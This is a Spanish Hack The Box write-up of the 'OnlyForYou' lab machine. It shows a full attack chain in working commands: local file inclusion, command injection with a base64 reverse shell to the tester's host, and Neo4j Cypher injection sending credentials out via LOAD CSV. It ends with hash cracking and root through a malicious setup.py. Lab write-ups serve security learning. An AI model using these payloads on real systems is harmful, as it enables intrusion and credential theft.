Descripción
OnlyForYou es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Inclusión de archivos locales en aplicación web de Python revelando código fuente de otra aplicación
- Aplicación web principal vulnerable a inyección de comandos
- Descubrimiento de servicios internos e inyección en Cypher Neo4j para obtener credenciales para pivote de usuario
- Escalada de privilegios mediante un usuario permitido a ejecutar el comando
pip3de descarga con ejecución de comandos
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.10.11.210.
$ ping -c 3 10.10.11.210
PING 10.10.11.210 (10.10.11.210) 56(84) bytes of data.
64 bytes from 10.10.11.210: icmp_seq=1 ttl=63 time=42.9 ms
64 bytes from 10.10.11.210: icmp_seq=2 ttl=63 time=42.6 ms
64 bytes from 10.10.11.210: icmp_seq=3 ttl=63 time=42.4 ms
--- 10.10.11.210 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 42.354/42.610/42.914/0.231 ms
La máquina está activa y con el TTL que iguala 63 (64 menos 1 salto), podemos asegurar que es una máquina Unix. Ahora vamos a realizar un escaneo de puertos TCP con Nmap para verificar todos los puertos abiertos.
$ sudo nmap 10.10.11.210 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.210
Host is up (0.045s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 0.94 seconds
Obtenemos dos puertos abiertos: 22, y 80.
Enumeración
Luego realizamos un escaneo más avanzado, con versión del servicio y scripts.
$ nmap 10.10.11.210 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.210
Host is up (0.044s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e8:83:e0:a9:fd:43:df:38:19:8a:aa:35:43:84:11:ec (RSA)
| 256 83:f2:35:22:9b:03:86:0c:16:cf:b3:fa:9f:5a:cd:08 (ECDSA)
|_ 256 44:5f:7a:a3:77:69:0a:77:78:9b:04:e0:9f:11:db:80 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://only4you.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.67 seconds
Obtenemos tres servicios: uno Secure Shell (SSH), y dos Hypertext Transfer Protocol (HTTP). Como no tenemos credenciales viables para el servicio SSH, vamos a movernos al servicio HTTP. Añadimos el dominio only4you.htb al archivo /etc/hosts.
$ echo '10.10.11.210 only4you.htb' | sudo tee -a /etc/hosts
Encontramos una página estática de una empresa ofreciendo servicios.
Escanamos subdominios.
$ gobuster vhost -u only4you.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --append-domain -o vhost_enumeration -r -t 50
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://only4you.htb
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
[+] Append Domain: true
[+] Exclude Hostname Length: false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
beta.only4you.htb Status: 200 [Size: 2191]
...
Encontramos el subdominio beta, lo añadimos al archivo /etc/hosts.
$ echo '10.10.11.210 beta.only4you.htb' | sudo tee -a /etc/hosts
Encontramos una página web ofreciendo dos servicios: resize y convert. Tenemos la opción de descargar el código fuente de la página en http://beta.only4you.htb/source.
$ wget --content-disposition http://beta.only4you.htb/source
$ unzip source.zip
Al revisar el código fuente encontramos el código app.py que tiene una vulnerabilidad de Inclusión de Archivo Local ya que está verificando los caracteres .. para la vulnerabilidad de Traversal de Ruta pero no está verificando si la ruta especificada es absoluta. Necesitamos enviar una solicitud HTTP POST introduciendo la ruta al archivo como el parámetro image.
@app.route('/download', methods=['POST'])
def download():
image = request.form['image']
filename = posixpath.normpath(image)
if '..' in filename or filename.startswith('../'):
flash('Hacking detected!', 'danger')
return redirect('/list')
if not os.path.isabs(filename):
filename = os.path.join(app.config['LIST_FOLDER'], filename)
try:
if not os.path.isfile(filename):
flash('Image doesn\'t exist!', 'danger')
return redirect('/list')
except (TypeError, ValueError):
raise BadRequest()
return send_file(filename, as_attachment=True)
Explotación
Por ejemplo, podemos comprobar los usuarios de la consola en el sistema con el archivo /etc/hosts: root, john, neo4j, y dev.
$ curl -s --data 'image=/etc/passwd' http://beta.only4you.htb/download | grep sh
root:x:0:0:root:/root:/bin/bash
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
john:x:1000:1000:john:/home/john:/bin/bash
neo4j:x:997:997::/var/lib/neo4j:/bin/bash
dev:x:1001:1001::/home/dev:/bin/bash
fwupd-refresh:x:114:119:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
Como este es un servidor web nginx, enumeramos el archivo de configuración predeterminado /etc/nginx/sites-available/default.
$ curl -s --data 'image=/etc/nginx/sites-available/default' http://beta.only4you.htb/download 1 ↵
server {
listen 80;
return 301 http://only4you.htb$request_uri;
}
server {
listen 80;
server_name only4you.htb;
location / {
include proxy_params;
proxy_pass http://unix:/var/www/only4you.htb/only4you.sock;
}
}
server {
listen 80;
server_name beta.only4you.htb;
location / {
include proxy_params;
proxy_pass http://unix:/var/www/beta.only4you.htb/beta.sock;
}
}
El directorio raíz de la aplicación beta es /var/www/beta.only4you.htb/ y para la principal es /var/www/only4you.htb/. Ambos están utilizando un archivo .sock para la comunicación, por lo que la página principal podría estar también utilizando Python. Enumeramos si existe el app.py.
$ curl -s --data 'image=/var/www/only4you.htb/app.py' http://beta.only4you.htb/download
from flask import Flask, render_template, request, flash, redirect
from form import sendmessage
import uuid
app = Flask(__name__)
app.secret_key = uuid.uuid4().hex
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
email = request.form['email']
subject = request.form['subject']
message = request.form['message']
ip = request.remote_addr
status = sendmessage(email, subject, message, ip)
if status == 0:
flash('Something went wrong!', 'danger')
elif status == 1:
flash('You are not authorized!', 'danger')
else:
flash('Your message was successfuly sent! We will reply as soon as possible.', 'success')
return redirect('/#contact')
else:
return render_template('index.html')
...
Efectivamente, la página principal está utilizando Python. Este código se utiliza normalmente para un formulario de contacto donde los usuarios pueden enviar sus mensajes, y maneja tanto la visualización del formulario como el procesamiento de la solicitud. Toma los detalles de contacto que el usuario envía y luego utiliza la función sendmessage de la clase form. Podemos recuperar la clase desde el archivo form.py.
$ curl -s --data 'image=/var/www/only4you.htb/form.py' http://beta.only4you.htb/download
import smtplib, re
from email.message import EmailMessage
from subprocess import PIPE, run
import ipaddress
def issecure(email, ip):
if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
return 0
else:
domain = email.split("@", 1)[1]
result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
output = result.stdout.decode('utf-8')
if "v=spf1" not in output:
return 1
else:
domains = []
ips = []
if "include:" in output:
dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
dms.pop(0)
for domain in dms:
domains.append(domain)
while True:
for domain in domains:
result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
output = result.stdout.decode('utf-8')
if "include:" in output:
dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
domains.clear()
for domain in dms:
domains.append(domain)
elif "ip4:" in output:
ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
ipaddresses.pop(0)
for i in ipaddresses:
ips.append(i)
else:
pass
break
elif "ip4" in output:
ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
ipaddresses.pop(0)
for i in ipaddresses:
ips.append(i)
else:
return 1
for i in ips:
if ip == i:
return 2
elif ipaddress.ip_address(ip) in ipaddress.ip_network(i):
return 2
else:
return 1
def sendmessage(email, subject, message, ip):
status = issecure(email, ip)
if status == 2:
msg = EmailMessage()
msg['From'] = f'{email}'
msg['To'] = 'info@only4you.htb'
msg['Subject'] = f'{subject}'
msg['Message'] = f'{message}'
smtp = smtplib.SMTP(host='localhost', port=25)
smtp.send_message(msg)
smtp.quit()
return status
elif status == 1:
return status
else:
return status
Este script se utiliza para validar una dirección de correo electrónico y comprobar si una dirección IP específica está autorizada para enviar correos electrónicos en nombre de ese dominio. Si está autorizada, envía un correo electrónico utilizando un servidor SMTP. Se utiliza normalmente para propósitos de seguridad y validación de correo electrónico, como en sistemas de autenticación de correo electrónico o prevención de spam. Busca registros SPF que incluyan otros dominios o direcciones IP, comprobando recursivamente esas para determinar si la dirección IP proporcionada está autorizada para enviar correos electrónicos en nombre del dominio. Para resolver el dominio utiliza el comando dig de Linux, usando subprocess.run.
Antes de ejecutar el proceso, la aplicación está comprobando con la expresión regular ([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,}) la validez de la dirección de correo electrónico. Y la función run() está utilizando el parámetro shell=True, pasando el correo como una cadena completa. Debido a la expresión regular mal formada, la aplicación está vulnerable a inyección de comandos. Podemos comprobarlo creando un puerto TCP escuchando y luego ejecutar un comando de solicitud HTTP desde la máquina.
$ curl -s --data 'name=User&email=user%40only4you.htb;curl+10.10.14.16:1234/test&subject=Subject&message=Message' http://only4you.htb/
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.11.210] 60754
GET /test HTTP/1.1
Host: 10.10.14.16:1234
User-Agent: curl/7.68.0
Accept: */*
El comando se está ejecutando, proseguimos a spawnar una shell inversa.
$ curl -s --data 'name=User&email=user%40only4you.htb;echo+YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNC4xNi8xMjM0IDA%2bJjE%3d|base64+-d|bash&subject=Subject&message=Message' http://only4you.htb/
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.11.210] 60932
bash: cannot set terminal process group (1011): Inappropriate ioctl for device
bash: no job control in this shell
www-data@only4you:~/only4you.htb$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@only4you:~/only4you.htb$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@only4you:~/only4you.htb$ ^Z
$ stty raw -echo; fg
$ reset xterm
www-data@only4you:~/only4you.htb$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156
Estamos conectados como el usuario www-data.
Post-Explotación
Encontramos unos pocos puertos localhost abiertos: 3306, 3000, 8001, 33060, 7687 y 7474. El puerto 3306 y 33060 es para MySQL, el 3000 y 8001 para HTTP y el 7687 y 7474 para Neo4j.
www-data@only4you:~/only4you.htb$ ss -tulnp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:* users:(("nginx",pid=1047,fd=6),("nginx",pid=1046,fd=6))
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:3000 0.0.0.0:*
tcp LISTEN 0 2048 127.0.0.1:8001 0.0.0.0:*
tcp LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
tcp LISTEN 0 4096 [::ffff:127.0.0.1]:7687 *:*
tcp LISTEN 0 50 [::ffff:127.0.0.1]:7474 *:*
tcp LISTEN 0 128 [::]:22 [::]:*
Enumeramos todos los puertos HTTP de la máquina.
www-data@only4you:~/only4you.htb$ curl http://127.0.0.1:3000
<!DOCTYPE html>
<html>
<head data-suburl="">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge"/>
<meta name="author" content="Gogs" />
<meta name="description" content="Gogs is a painless self-hosted Git service" />
<meta name="keywords" content="go, git, self-hosted, gogs">
...
www-data@only4you:~/only4you.htb$ curl http://127.0.0.1:8001 -v
...
< Server: gunicorn/20.0.4
< Connection: close
< Content-Type: text/html; charset=utf-8
< Content-Length: 199
< Location: /login
< Set-Cookie: session=374e6053-3ca7-4522-a498-51ed1e5d2df8; HttpOnly; Path=/
<
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/login">/login</a>. If not, click the link.
El puerto 3000 está hospedando el servicio Gogs Git. Y el puerto 8001 está hospedando una aplicación Python gunicorn. Redirigimos los puertos. Como no podemos usar SSH sin credenciales, usaremos la herramienta ligolo-ng.
www-data@only4you:~/only4you.htb$ cd /tmp
www-data@only4you:/tmp$ wget http://10.10.14.16/ligolo-ng_agent_0.8.2_linux_amd64
www-data@only4you:/tmp$ chmod +x ligolo-ng_agent_0.8.2_linux_amd64
www-data@only4you:/tmp$ ./ligolo-ng_agent_0.8.2_linux_amd64 -ignore-cert -connect 10.10.14.16:11601
WARN[0000] warning, certificate validation disabled
INFO[0000] Connection established addr="10.10.14.16:11601"
En nuestra máquina iniciamos el proxy y aceptamos la conexión remota.
$ sudo ligolo-proxy -selfcert
INFO[0000] Loading configuration file ligolo-ng.yaml
WARN[0000] daemon configuration file not found. Creating a new one...
? Enable Ligolo-ng WebUI? No
WARN[0002] Using default selfcert domain 'ligolo', beware of CTI, SOC and IoC!
ERRO[0002] Certificate cache error: acme/autocert: certificate cache miss, returning a new certificate
INFO[0002] Listening on 0.0.0.0:11601
ligolo-ng » session
? Specify a session : 1 - www-data@only4you - 10.10.11.210:37314 - 005056942061
[Agent : www-data@only4you] » interface_create
INFO[0127] Generating a random interface name...
INFO[0127] Creating a new moralmaddog interface...
INFO[0127] Interface created!
[Agent : www-data@only4you] » tunnel_start --tun moralmaddog
INFO[0151] Starting tunnel to www-data@only4you (005056942061)
[Agent : www-data@only4you] » route_add --name moralmaddog --route 240.0.0.1/32
INFO[0197] Route created.
Creamos una ruta hacia el 240.0.0.1, que será el localhost de la máquina remota, así que, por ejemplo, si queremos acceder al puerto 3000 usaremos la URL http://240.0.0.1:3000. En el puerto 8001 encontramos un formulario de inicio de sesión.
Podemos iniciar sesión con las credenciales predeterminadas admin:admin.
Nos redirige al panel de control y encontramos que la base de datos está utilizando la base de datos Neo4j, ya vimos anteriormente los puertos. Con la pestaña Employees podemos crear una búsqueda.
Neo4j utiliza Cypher por lo que podemos verificar inyecciones en la consulta. Con la inyección null' or '1'='1 confirmamos que la aplicación es vulnerable ya que la aplicación devuelve todas las filas. Podemos utilizar la funcionalidad LOAD CSV FROM para exfiltrar datos hacia nuestro servidor ya que podemos ver en el blog de Varonis. Iniciamos un servidor HTTP en Python.
' RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://10.10.14.16/?l='+label as l RETURN 0 as _0 //
Podemos recuperar las etiquetas de la base de datos con la siguiente consulta user y employee.
$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.210 - - "GET /?l=user HTTP/1.1" 200 -
10.10.11.210 - - "GET /?l=employee HTTP/1.1" 200 -
Con una inyección fuera de banda mediante encadenamiento de consultas podemos recuperar las columnas de la etiqueta, como vemos en PentesterLand. Obtenemos los atributos username y password.
' MATCH (c:user) LOAD CSV FROM 'https://10.10.14.16/'+keys(c)[0] AS b RETURN b //
' MATCH (c:user) LOAD CSV FROM 'https://10.10.14.16/'+keys(c)[1] AS b RETURN b //
Recuperamos todos los usuarios/contraseñas de la base de datos.
' MATCH (c:user) WITH DISTINCT c.username + ':' + c.password AS a LOAD CSV FROM 'http://10.10.14.16/?user='+a AS b RETURN b //
Encontramos dos usuarios, admin y john, y como contraseñas dos cadenas que parecen hashes SHA-256. Los rompemos con John The Ripper.
echo "admin:8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918\njohn:a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6" > users
$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA256 users
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (Raw-SHA256 [SHA256 256/256 AVX2 8x])
Warning: poor OpenMP scalability for this hash type, consider --fork=16
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
admin (admin)
ThisIs4You (john)
2g 0:00:00:01 DONE 1.226g/s 6593Kp/s 6593Kc/s 6754KC/s Xavier44..PINK1254
Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably
Session completed.
Obtenemos la contraseña admin para el usuario admin y la contraseña ThisIs4You para el usuario john. Podemos iniciar sesión utilizando el protocolo SSH ya que la contraseña se reutiliza para el usuario Linux.
$ ssh john@only4you.htb
...
john@only4you:~$ id
uid=1000(john) gid=1000(john) groups=1000(john)
john solo puede ejecutar un comando como usuario root, pip.
john@only4you:~$ sudo -l
Matching Defaults entries for john on only4you:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User john may run the following commands on only4you:
(root) NOPASSWD: /usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz
Este comando pip solo está permitido para descargar archivos tarballs desde el servicio Gogs Git. Podemos utilizar las credenciales john en el servicio. Después de iniciar sesión, encontramos un proyecto Test creado. Es privado, por lo que lo cambiaremos a público desde la pestaña Settings.
El comando download no solo descarga el archivo .tar.gz, también ejecuta el script setup.py contenido. Por lo tanto, crearemos un tarball malicioso que ejecute comandos para crear una copia del binario Bash con permisos SUID. Este es el archivo setup.py.
from setuptools import setup
import subprocess
subprocess.run(['cp', '/bin/bash', '/tmp/suid-bash'])
subprocess.run(['chmod', 'u+s', '/tmp/suid-bash'])
setup(
name='package_b',
version='0.1',
packages=['package_b'],
)
Entonces creamos el archivo.
$ mkdir python
$ cd python
$ nano setup.py
$ mkdir package_b
$ python setup.py sdist bdist_wheel
Ahora podemos subir el archivo dist/package_b-0.1.tar.gz al repositorio Git y luego obtener la URL para descargarlo (raw).
Entonces ejecutamos el comando pip3 para ejecutar el comando. Mostrará un error pero el comando se ejecutará. Podemos desplegar una terminal root.
john@only4you:~$ sudo pip3 download http://127.0.0.1:3000/john/Test/raw/master/package_b-0.1.tar.gz
Collecting http://127.0.0.1:3000/john/Test/raw/master/package_b-0.1.tar.gz
Downloading http://127.0.0.1:3000/john/Test/raw/master/package_b-0.1.tar.gz (707 bytes)
john@only4you:~$ ls /tmp
...
suid-bash
...
john@only4you:~$ /tmp/suid-bash -p
suid-bash-5.0# id
uid=1000(john) gid=1000(john) euid=0(root) groups=1000(john)
Flags
En la terminal root recuperamos las flags user.txt y root.txt.
suid-bash-5.0# cat /home/john/user.txt
d6545c6c48a9747e0800d6890fec5c59
suid-bash-5.0# cat /root/root.txt
cc198d586505f1385f3a8f0b57ba240c